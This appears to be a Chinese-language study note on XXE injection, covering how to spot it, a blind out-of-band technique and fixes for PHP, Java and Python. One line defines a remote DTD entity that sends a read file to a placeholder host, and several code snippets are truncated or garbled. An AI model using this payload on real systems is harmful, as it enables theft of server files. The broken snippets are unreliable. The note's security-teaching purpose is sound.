11通用-XXE
XXE
在已有XXE知识上做的一些补充
请求包会存在如下类似字样
Accept: application/xml |
payload:
<?xml version="1.0"?> |
同时修改Content-Type为application/xml
- XXE黑盒发现
- 获取得到Content-Type或数据类型为XML时,尝试进行XML语言payload进行测试
- 不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试XXE
- XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE payload被执行
- XXE白盒发现
- 可通过应用功能追踪代码定位审计
- 可通过脚本特定函数搜索定位审计
- 可通过伪协议玩法绕过相关修复等
- 无回显时要利用远程进行回显
<?xml version="1.0"?> |
其中远程的test.dtd内容如下
<!ENTITY % all "<!ENTITY send SYSTEM 'http://x.x.x.x/get.php?file=%file;'>"> |
- XXE修复防御方案
- 禁用外部实体
PHP:
libxml_disable_entity_loader(true); |
Java:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance(); |
Python:
from lxml import etreexmlData =etree.parse(xmlSource.etree.XMLParser(resolve_entities=False)) |
- 过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
评论
评论插件加载失败
正在加载评论插件